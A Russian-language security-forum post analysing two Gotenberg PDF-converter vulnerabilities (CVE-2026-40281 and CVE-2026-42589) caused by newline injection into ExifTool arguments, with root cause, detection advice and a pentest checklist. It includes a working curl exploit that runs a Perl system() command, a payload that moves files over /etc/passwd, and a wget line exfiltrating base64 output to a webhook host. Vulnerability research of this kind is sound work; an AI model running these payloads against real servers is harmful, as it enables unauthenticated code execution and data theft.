После разбора CVE-2021-22204 (argument injection в ExifTool через метаданные изображений) я проверяю каждый конвертер файлов, который встречаю на пентесте, на тот же класс ошибки: если сервис передаёт пользовательский ввод в ExifTool без санитизации управляющих символов - инъекция неизбежна. CVE-2026-40281 в Gotenberg подтвердила правило: CVSS 10.0, CWE-88 (Argument Injection), один POST-запрос без аутентификации - и файл перемещается куда угодно внутри контейнера. А связанная CVE-2026-42589 (CVSS 9.8, CWE-78) превращает path traversal в полноценный RCE через Perl-выражения ExifTool. Обе уязвимости Gotenberg затрагивают все версии до 8.31.0, включая v7.
Бизнес-логика атаки: зачем атакующему PDF-конвертер
Gotenberg - stateless Docker-based API для генерации и обработки PDF. Типичное развёртывание: контейнер на порту 3000 внутри docker-compose стека или Kubernetes-кластера. По данным advisory Lyrie, Gotenberg используется в enterprise-пайплайнах обработки документов, SaaS-платформах (HR-системы, legal tech, бухгалтерия) и микросервисных архитектурах. Аутентификация по умолчанию отсутствует.
Для атакующего PDF-конвертер с argument injection уязвимостью - подарок:
- Initial access без учётных данных. Порт 3000 торчит наружу -> вход открыт. Ни токенов, ни basic auth в дефолтной конфигурации.
- Выполнение кода в контейнере. Процесс Gotenberg работает от
uid=1001(gotenberg), но по данным Endor Labs, этот пользователь входит в группуrootв дефолтном Docker-образе. Приятный бонус. - Доступ к обрабатываемым документам. Контейнер принимает файлы из других сервисов - контракты, персональные данные, финансовые документы пользователей платформы.
Место в цепочке атаки
Эксплуатация CVE-2026-40281 и CVE-2026-42589 покрывает несколько этапов kill chain:- Разведка - обнаружение Gotenberg через сканирование портов. Эндпоинт
/versionотдаёт номер версии без аутентификации (T1083, File and Directory Discovery). - Initial Access - эксплуатация публично доступного API (T1190, Exploit Public-Facing Application). Один POST к
/forms/pdfengines/metadata/write. - Execution - CVE-2026-42589 инъецирует Perl-выражения в флаг ExifTool
-if. Indirect Command Execution (T1202) с последующим вызовом Unix Shell (T1059.004). - Persistence - перезапись startup-скриптов контейнера через path traversal (CVE-2026-40281) или Web Shell (T1505.003) при доступности web root.
- Collection - чтение файлов контейнера через OOB-эксфильтрацию (T1005, Data from Local System).
Root cause: неполный фикс v8.30.1 и CWE-88
CVE-2026-40281 - обход патча, введённого в коммите
405f106 (Gotenberg v8.30.1). Разработчики добавили regex safeKeyPattern для валидации ключей метаданных, блокируя опасные ExifTool pseudo-tags (-FileName, -Directory). Значения метаданных не проверяются. Библиотека go-exiftool записывает пары ключ-значение в stdin ExifTool так:
Код:
// go-exiftool: передача данных в stdin ExifTool
fmt.Fprintln(e.stdin, "-"+k+"="+str)
// При str = "test\n-FileName=/tmp/pwned"
// ExifTool получает ДВЕ строки:
// -Title=test
// -FileName=/tmp/pwned
\n в значении str разрывает строку на два аргумента stdin. ExifTool интерпретирует -FileName=/tmp/pwned как самостоятельную команду - и перемещает обрабатываемый файл.Фикс v8.30.1 защитил не ту сторону знака
=. Классика.Инъецируемые pseudo-tags и их эффект
| Pseudo-tag | Эффект | Импакт |
|---|---|---|
-FileName | Переименование/перемещение файла | Перезапись произвольных файлов в контейнере |
-Directory | Изменение целевой директории | Перемещение PDF в /etc/, /var/ |
-SymLink | Создание символической ссылки | Read/write-примитивы для дальнейшей эксплуатации |
-HardLink | Создание жёсткой ссылки | Персистентность данных за пределами temp-директории |
Комбинация двух
\n позволяет инъецировать сразу -Directory=/etc/ и -FileName=passwd - PDF перемещается в /etc/passwd, убивая user database контейнера. По OWASP это A03:2021 - Injection и A06:2021 - Vulnerable and Outdated Components (уязвимая версия go-exiftool без санитизации на стороне вызывающего кода).Воспроизведение: от fingerprinting до RCE
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
HTTP 404 - индикатор успешной эксплуатации. Gotenberg пытается вернуть файл после обработки, но ExifTool уже переместил его в
/tmp/inject_proof. Верификация: docker exec gotenberg-test ls -la /tmp/inject_proof покажет перемещённый PDF.Для создания symlink - payload
"test\n-SymLink=/tmp/sym_inject". Symlink создаётся по указанному пути, указывая на исходный PDF. Через такой symlink открывается read-примитив при последующих запросах к обработке файлов.Эскалация до RCE через ключи метаданных (CVE-2026-42589)
Связанная CVE-2026-42589 (CVSS 9.8, CWE-78 - OS Command Injection) использует тот же механизм, но инъекция идёт через ключи JSON-объекта. Разница:\n в ключе позволяет инъецировать флаг ExifTool -if, который принимает Perl-выражение и выполняет его. Функция system() в Perl вызывает произвольную команду ОС.
Bash:
curl -s -o /dev/null -w "HTTP:%{http_code}" -X POST http://localhost:3001/forms/pdfengines/metadata/write -F 'files=@test.pdf;type=application/pdf' --form-string $'metadata={"Title\\n-if\\nsystem(\'id>/tmp/pwned\')||1\\n-Comment":"x"}'
# HTTP:200 - команда выполнена, сервер вернул валидный PDF
-Title, -if, system('id>/tmp/pwned')||1, -Comment=x. Флаг -if обрабатывает следующий аргумент как Perl - system() выполняет id>/tmp/pwned на сервере.Для OOB-эксфильтрации (по данным PoC из Endor Labs): результат команды кодируется в base64 и отправляется через
wget на контролируемый webhook - wget -q -O /dev/null "https://webhook.site/ID?c=$(id|base64|tr -d '=\n')". Ответ Gotenberg - HTTP 200, валидный PDF, нулевой сигнал для WAF и API gateway.CISA SSVC оценивает CVE-2026-42589: Technical Impact - total, Automatable - yes. На GitHub доступен публичный PoC-репозиторий (fineman999/POC_CVE-2026-42589), а в ProjectDiscovery Nuclei Templates есть готовый шаблон
CVE-2026-42589.yaml для автоматизированного сканирования.Сравнение двух векторов инъекции
| Критерий | CVE-2026-40281 (значения) | CVE-2026-42589 (ключи) |
|---|---|---|
| CVSS | 10.0 (S:C - Changed scope) | 9.8 (S:U - Unchanged scope) |
| CWE | CWE-88 (Argument Injection) | CWE-78 (OS Command Injection) |
| Импакт | Перемещение/перезапись файлов, symlink | Полный RCE: shell, чтение/запись, reverse shell |
| HTTP-ответ при успехе | 404 (файл перемещён) | 200 (без индикаторов) |
| Детектируемость | Аномальный HTTP 404 | Практически невидима на уровне HTTP |
| Nuclei-шаблон | Нет | Да (CVE-2026-42589.yaml) |
| EPSS (30 дней) | 0.0061, перцентиль 45% | 0.0295, перцентиль 86% |
| CISA Technical Impact | partial | total |
| Фикс | Gotenberg >= 8.31.0 | Gotenberg >= 8.31.0 |
EPSS для CVE-2026-42589 значительно выше - перцентиль 86% означает вероятность эксплуатации в дикой природе выше, чем у 86% всех CVE в базе FIRST.org. Наличие Nuclei-шаблона и Python PoC опускает порог входа до уровня script kiddie.
Ограничения техники и предусловия
Работает если:- Gotenberg <= 8.30.1 (все v7 и v8 до фикса - подтверждено OSV.dev)
- Эндпоинт
/forms/pdfengines/metadata/writeдоступен по сети - Аутентификация не настроена (дефолт) или обходима
- Контейнер имеет исходящий сетевой доступ (для OOB-эксфильтрации при RCE)
- Gotenberg >= 8.31.0 - значения и ключи санитизируются на
\n,\r,\x00 - Перед Gotenberg стоит authenticating reverse proxy (nginx с basic auth, API gateway с JWT)
- Эндпоинт metadata/write закрыт на уровне reverse proxy (не все деплойменты его используют)
- Контейнер запущен с
--read-onlyfilesystem - path traversal (CVE-2026-40281) не запишет файл, но RCE (CVE-2026-42589) продолжит работать для чтения и сетевых операций - Kubernetes NetworkPolicy или Docker network isolation блокирует исходящие соединения - OOB-эксфильтрация невозможна, но blind RCE остаётся
Детектирование и артефакты
CVE-2026-42589 возвращает HTTP 200 с валидным PDF - стандартный мониторинг HTTP-статусов к этой атаке слеп. Но артефакты остаются на нескольких уровнях.Файловая система контейнера: появление файлов в нетипичных директориях (
/tmp/inject_proof), symlinks в рабочих директориях Gotenberg, изменение timestamps системных файлов. Инструмент pspy внутри контейнера покажет порождение дочерних процессов sh -c из ExifTool.Процессы и системные вызовы: strace на процессе ExifTool выявит
execve с аргументами, содержащими -if и system(). Любой мониторинг порождения shell из ExifTool - аномалия. Shell из ExifTool - это не нормально, точка.Сеть: исходящие HTTP/DNS-запросы от контейнера Gotenberg на нехарактерные адреса (OOB callback). POST к
/forms/pdfengines/metadata/write с \n в теле multipart-запроса - детектируемо на уровне WAF, если тот умеет инспектировать multipart content.Container runtime security: правило Falco или Sysdig на порождение
sh/bash из процесса exiftool или gotenberg и на запись файлов за пределами /tmp/gotenberg-*.Чеклист: аудит Gotenberg на пентесте
- Просканировать внутреннюю сеть на порт 3000 (дефолт Gotenberg), проверить
/versionи/healthбез аутентификации - Определить версию - все сборки <= 8.30.1 уязвимы к обоим CVE
- Проверить доступность
/forms/pdfengines/metadata/write- если эндпоинт отвечает, переходить к эксплуатации - Попробовать path traversal (CVE-2026-40281) через
\nв значении метаданных - индикатор успеха: HTTP 404 - При подтверждении path traversal - попробовать RCE (CVE-2026-42589) через
\nв ключе с-if system('id') - Для эксфильтрации использовать OOB через webhook с base64-кодированием результата
- Проверить наличие
--read-onlyи сетевых ограничений контейнера - определяет границы импакта - Зафиксировать в отчёте: CVSS 10.0 (CVE-2026-40281), CVSS 9.8 (CVE-2026-42589), вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H, рекомендация - обновление до >= 8.31.0 и authenticating proxy перед API
safeKeyPattern, зарелизили v8.30.1 - и закрыли issue. Значения не проверили. Не халатность - слепая зона: "ключи - управляющие данные, значения - просто строки". Но ExifTool получает и то, и другое через один stdin-конвейер с \n как разделителем. Ключ и значение тут - эквивалентные векторы инъекции.Тот же паттерн я вижу в каждом втором конвертере, который вызывает CLI-утилиты под капотом: ImageMagick, FFmpeg, LibreOffice - везде, где пользовательский ввод попадает в аргументы через конкатенацию строк, вопрос не "если", а "когда" найдут инъекцию.
Отдельная история - CVSS 10.0 для path traversal (CVE-2026-40281) при том, что реальный RCE (CVE-2026-42589) получил "только" 9.8. Парадокс объясняется Changed Scope: перемещение файлов через symlink/hardlink может затронуть хост или соседние контейнеры, а RCE ограничен текущим контейнером (Unchanged Scope). Формально логика CVSS корректна, но на практике я бы всегда начинал с CVE-2026-42589 - один запрос, HTTP 200, shell. Path traversal полезен для persistence через перезапись startup-скриптов, но это вторичный шаг. EPSS подтверждает эту интуицию: 86-й перцентиль для RCE против 45-го для path traversal. Готовый Nuclei-шаблон для CVE-2026-42589 означает, что массовое сканирование - вопрос дней, если не часов.
Последнее редактирование модератором: